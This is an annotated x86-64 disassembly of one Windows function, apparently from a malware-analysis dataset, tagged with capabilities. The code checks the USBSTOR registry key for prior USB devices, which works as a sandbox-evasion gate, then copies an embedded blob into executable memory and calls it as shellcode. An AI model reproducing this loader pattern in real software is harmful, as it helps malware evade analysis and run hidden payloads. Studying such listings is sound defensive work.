Function at 0x140001f80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query or enumerate registry key

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x480
mov rax, qword [0x140034020]
xor rax, rsp
mov qword [rsp + 0x478], rax
movdqa xmm0, xmmword [0x14002f830]
lea rax, [r11 - 0x48]
movdqa xmm1, xmmword [str.et001EnumUSBSYSTEMControlS_]
lea rdx, [r11 - 0x38]
xor ebx, ebx
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov dword [r11 - 0x40], ebx
xor r8d, r8d
mov byte [r11 - 0x14], bl
mov rcx, 0xffffffff80000002
mov dword [r11 - 0x18], 0x524f5453
movdqu xmmword [r11 - 0x38], xmm0
movdqu xmmword [r11 - 0x28], xmm1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400021bd
mov rcx, qword [rsp + 0x440]
lea rax, [rsp + 0x448]
mov qword [rsp + 0x58], rbx
xor r9d, r9d
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], rbx
xor edx, edx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x1400021bd
cmp dword [rsp + 0x448], 2
jb 0x1400021a4
mov ebx, 7
lea rcx, [rsp + 0x60]
mov edx, ebx
lea rax, [0x14002f440]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140002070
movups xmm0, xmmword [rax]
mov edx, 0x3d2
mov r8d, 0x1000
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movzx eax, word [rax + 0x50]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
mov word [rcx + 0x50], ax
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rcx, [rsp + 0x60]
mov rdx, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x140002120
movups xmm0, xmmword [rcx]
movzx eax, word [rcx + 0x50]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmmword [rdx + 0x40], xmm0
mov word [rdx + 0x50], ax
call r8
mov rcx, qword [rsp + 0x478]
xor rcx, rsp
call fcn.140004f30
add rsp, 0x480
pop rbx
ret
xor ecx, ecx
call fcn.14000b564
int3